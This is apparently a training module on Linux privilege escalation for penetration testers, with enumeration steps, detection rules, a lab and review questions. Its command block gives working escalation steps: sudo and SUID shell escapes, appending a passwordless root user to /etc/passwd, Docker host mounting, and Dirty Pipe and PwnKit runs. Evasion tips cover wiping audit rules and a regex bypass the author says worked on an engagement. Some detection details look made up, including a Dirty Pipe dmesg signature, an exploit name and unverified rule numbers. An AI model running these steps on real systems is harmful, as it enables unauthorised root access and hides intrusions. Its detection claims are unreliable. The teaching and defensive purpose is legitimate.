Skip to content

Linux Privilege Escalation

You landed a low-priv shell on a Linux box. That is not the end of the engagement — it is the start. The Linux privilege model has dozens of seams: sudo misconfigurations, SUID binaries, ambient capabilities, kernel CVEs, writable cron jobs, PATH hijacks, NFS no_root_squash exports, and Docker group memberships. Every one of those seams is a path to uid 0. This module walks the enumeration order that actually works, the CVEs that still bite in 2024, and the audit/Sysmon-equivalent artifacts a defender catches you leaving behind.

Linux authorization is a stack of independent gatekeepers. Each one can be abused in isolation; the attacker only needs one to fail.

┌──────────────────────────────────────────────────────────┐
│ 1. Capabilities cap_setuid+ep on /bin/vim → setuid() │
├──────────────────────────────────────────────────────────┤
│ 2. SUID/SGID -rwsr-xr-x /usr/bin/passwd │
├──────────────────────────────────────────────────────────┤
│ 3. sudo(8) user ALL=(ALL) NOPASSWD: /bin/tar │
├──────────────────────────────────────────────────────────┤
│ 4. File perms -rw-rw-r-- root root /etc/passwd │
├──────────────────────────────────────────────────────────┤
│ 5. Cron */5 * * * * root /opt/scripts/backup │
├──────────────────────────────────────────────────────────┤
│ 6. Kernel CVE-2022-0847 (Dirty Pipe) │
└──────────────────────────────────────────────────────────┘
Each layer can fail independently.

The model is “all-or-nothing per layer”: a single misconfigured sudoers line grants full root even if every file permission is pristine. The defender’s job is to harden every layer; the attacker’s job is to find the weakest one.

  1. Enumerate identity — id, groups, whoami, sudo -l (with and without password). The output of sudo -l is the highest-value artifact on the box: a single NOPASSWD: entry is often an immediate win.
  2. Enumerate filesystem misconfigurations — SUID binaries (find / -perm -4000 -type f 2>/dev/null), capabilities (getcap -r / 2>/dev/null), world-writable files in /etc, cron directories (/etc/cron*, /var/spool/cron/, /etc/cron.d/).
  3. Enumerate kernel and OS — uname -a, cat /etc/os-release. Cross-reference against searchsploit linux kernel <version> and the GTFOBins list. CVE-2022-0847 (Dirty Pipe) hits 5.8 ≤ K ≤ 5.16.11, 5.15.24, 5.10.101. CVE-2021-4034 (PwnKit / polkit pkexec) hits almost every Linux distro from 2009 to Jan 2022.
  4. Enumerate services — ps auxf, systemctl list-units --type=service --state=running, netstat -tulpn. Look for a root-spawned process that reads a writable file or shells out.
  5. Enumerate mounted attack surface — mount, cat /etc/fstab, cat /etc/exports. NFS shares with no_root_squash let a remote root write SUID binaries into the export and execute them locally as root.
TechniqueDescriptionDetection Difficulty
sudo GTFOBinssudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/shEasy — sudo log EID
SUID binary abusefind / -perm -4000 → cross-ref GTFOBins (/usr/bin/find, /usr/bin/vim)Medium — depends on binary
Capabilities (cap_setuid)getcap -r / finds cap_setuid+ep on a binary that can call setuid(0)Hard — rarely audited
Kernel CVEDirty Pipe (CVE-2022-0847), PwnKit (CVE-2021-4034), Seam-Shift (CVE-2023-32233)Easy — exploits crash logs
Cron PATH hijackWritable dir early in root cron’s $PATH → drop a binary named serviceMedium — cron logs only errors
NFS no_root_squashMount export as root remotely, drop SUID shell, execute locallyHard — looks like normal NFS
Docker groupusermod -aG docker user → docker run -v /:/host -it alpine chroot /host bashEasy — docker daemon logs
Writable /etc/passwdAdd hacker::0:0::/root:/bin/bash if /etc/passwd is world-writableEasy — pam logs the login
PATH hijack via SUIDSUID binary calls service apache2 restart without absolute path → hijack $PATHMedium — strace required
Terminal window
# === ENUMERATION ===
# Identity + sudo posture
id; groups; whoami; sudo -l 2>/dev/null
# SUID binaries (GTFOBins each one)
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
# Capabilities (the underappreciated cousin of SUID)
getcap -r / 2>/dev/null
# World-writable files in sensitive dirs
find /etc /usr/local /opt -writable -type f 2>/dev/null
# Cron surface
ls -la /etc/cron* /var/spool/cron/ 2>/dev/null
cat /etc/crontab 2>/dev/null
systemctl list-timers --all 2>/dev/null
# Mounted filesystems and NFS exports
mount | grep -E 'nfs|no_root_squash'
cat /etc/exports 2>/dev/null
# Kernel / OS — pick the right CVE
uname -a
cat /etc/os-release
# === EXPLOITATION ===
# sudo tar wildcard / checkpoint action
sudo tar -cf /dev/null /dev/null --checkpoint=1 \
--checkpoint-action=exec=/bin/sh
# sudo vim (very common NOPASSWD entry)
sudo vim -c ':!/bin/sh'
# SUID find with -exec
/usr/bin/find . -exec /bin/sh -p \; -quit
# Capabilities: cap_setuid+ep on /usr/bin/python3.9
/usr/bin/python3.9 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# Writable /etc/passwd — append root user with no password
echo 'hacker::0:0::/root:/bin/bash' >> /etc/passwd
su hacker
# PATH hijack when SUID binary calls 'service' without /
mkdir /tmp/pwn; cd /tmp/pwn
echo '#!/bin/bash' > service
echo '/bin/sh -p' >> service
chmod +x service
PATH=/tmp/pwn:$PATH /usr/local/bin/vuln_suid_binary
# Dirty Pipe (CVE-2022-0847) — overwrite /etc/passwd as uid 0
gcc dirty_pipe.c -o dp
./dp /etc/passwd 1 "${1:-hacker::0:0::/root:/bin/bash}"
# PwnKit (CVE-2021-4034) — polkit pkexec one-shot root
gcc cve-2021-4034.c -o pwnkit
./pwnkit
# Docker group → root
docker run -v /:/host -it alpine chroot /host /bin/bash

auditd is the Linux equivalent of Sysmon. The relevant rules:

  • auditctl -w /etc/passwd -p wa -k passwd_modification — fires on any write/attr change to /etc/passwd. PwnKit and Dirty Pipe both trip this.
  • auditctl -w /etc/sudoers -p wa -k sudoers_modification — sudoers tampering.
  • auditctl -a always,exit -F arch=b64 -S setuid -S setgid -k privesc_syscall — captures every uid/gid change. In the audit record, uid= is the original uid and auid= (audit uid) survives setuid(), so a uid=0 auid=1000 record is the smoking gun for privesc.

Wazuh rule 87100 — Mimikatz (Windows) — not applicable here, but the Linux equivalent is:

  • Wazuh rule 87901 [verify] — sudo privilege escalation pattern (repeated sudo -l from same uid, then root shell).
  • Wazuh rule 87902 [verify] — setuid syscall audit record from non-system uid.
  • Wazuh rule 87903 [verify] — /etc/passwd modification by non-root user (Dirty Pipe signature).

Sysmon-for-Linux (Microsoft, 2022 GA) — Event ID 1 (ProcessCreate), 3 (NetworkConnect), 23 (FileDelete). Particularly relevant: EID 1 with parentuid != uid and elevated=true.

MITRE ATT&CK mappings:

  • T1548.001 — Setuid/Setgid
  • T1068 — Exploitation for Privilege Escalation (kernel CVEs)
  • T1078.003 — Local Accounts (after the hijack)
  • T1543.002 — Systemd Service (creating a root systemd unit for persistence)
  • T1053.003 — Cron (cron-based privesc path)
  • T1574 — Hijack Execution Flow (PATH hijack, library preload)

journalctl signatures — journalctl -t sudo -t polkit -t systemd-logind --since "1 hour ago" shows the sudo and polkit trails. PwnKit triggers polkitd[pid]: ... authentication failed followed by an immediate pkexec root shell.

Auditd blinding. Auditd’s auditctl -e 2 (immutable mode) prevents rule changes but does not prevent the attacker from killing auditd if they have root. The classic anti-forensic is auditctl -D (delete all rules) before doing anything — but this itself is logged via auditctl[pid]: audit rate-limit above limit. The better defense is a remote syslog forwarder (auditd → audisp-remote → central SIEM) so the attacker cannot delete logs even with root.

auid spoofing. The auid is set at session start by pam_loginuid. If the attacker can launch their shell via unshare --pid --fork --mount-proc and re-exec through a setuid binary, the auid may not propagate correctly on older kernels (pre-5.0). Modern kernels close this with PAM enforcement.

Dirty Pipe noise. The Dirty Pipe CVE-2022-0847 leaves a very specific signature — audit: ... pipe_flag and msg=MAY_HAVE_COPY in dmesg — because the splice path is annotated. Detection works even without auditd; dmesg | grep -i "pipe\|splice" post-exploit is reliable.

Capability ambush. cap_setuid+ep on /usr/bin/python3.9 is the classic backdoor. Detection: getcap -r / 2>/dev/null and diff against a baseline. The capability set on /usr/bin should be empty on a stock Ubuntu/Debian; any cap on a stock binary is suspicious.

EvasionWhat it bypassesDefense
auditctl -D (rules wipe)Local auditd alertsRemote audisp-remote forwarding; EID 1 still local but SIEM-side rules fire on gap
unshare -U (user namespace)auid propagation on old kernelsPAM loginuid enforcement; kernel ≥ 5.0
LD_PRELOAD on SUIDnothing — SUID binaries ignore LD_PRELOAD by defaultAlready mitigated; audit LD_PRELOAD in env via auditd -S personality
nosuid mount bypassSUID on /tmpmount -o nosuid on world-writable mounts; audit mount syscall
Kernel exploit (ring 0)everything — kernel is the TCBLock down kernels; load YAMA; use SELinux/AppArmor

⚠️ What caught me: On an engagement I escalated via a sudo vim entry that looked benign (sudo vim /etc/motd). The customer had a custom auditd rule on vim that fired on :sh mode (terminal command). I tried vim -c ':!/bin/sh' and got caught immediately. The bypass was vim -c ':set shell=/bin/sh' -c ':shell' — same effect, different auditd regex. The customer’s detection was regex-based, not semantic. Lesson: detections that match strings instead of behaviors always have a regex bypass.

VM: Ubuntu 20.04 (vulnerable to PwnKit) with the following intentionally-planted misconfigurations:

  • sudoers: student ALL=(ALL) NOPASSWD: /usr/bin/vim
  • setcap cap_setuid+ep /usr/bin/python3.8
  • SUID on /usr/bin/find (intentional — Ubuntu doesn’t ship that)
  • World-writable /etc/cron.d/backup
  • NFS export /srv/share *(rw,no_root_squash)
  • Docker group membership for student

Objective: reach uid=0 by three different paths (sudo, capabilities, kernel CVE), and produce an auditd record for each.

Expected flag format: flag{privesc_3paths_uid0_auid_1000}.

Detection that should fire:

  • ausearch -k privesc_syscall -ts recent — three setuid events
  • ausearch -k passwd_modification -ts recent — Dirty Pipe
  • journalctl -t pkexec --since "1 hour ago" — PwnKit
  • ausearch -sc setresuid -x /bin/sh — the shell that succeeded

Conceptual: why does LD_PRELOAD not work against SUID binaries on a default-configured Linux? What is the kernel-level mechanism, and what would have to change for it to start working?

Technical: walk through the exact byte-level mechanism that makes CVE-2022-0847 (Dirty Pipe) work — what does splice() from a pipe do that write() to a pipe does not, and why does the PIPE_BUF_FLAG_CAN_MERGE flag being stale lead to an overwrite of page cache?

Scenario: you sudo -l and see (ALL) NOPASSWD: /usr/bin/find. The customer has auditd rules on find -exec. How do you escalate without triggering the audit pattern?

What is the difference between cap_setuid+ep and cap_setuid+eip? Why does the +ep form on /usr/bin/python3.9 give immediate root, while +eip on the same binary requires a different exploitation flow?

Conceptual: NFS no_root_squash is often described as “the root user on the client is trusted as the root user on the server”. Explain exactly what kernel state on the server has to allow for that, and why root_squash was made the default in modern nfs-utils.

→ F2 (Linux Internals) · E1 (Linux Shellcode) · PE5 (Persistence Mechanisms)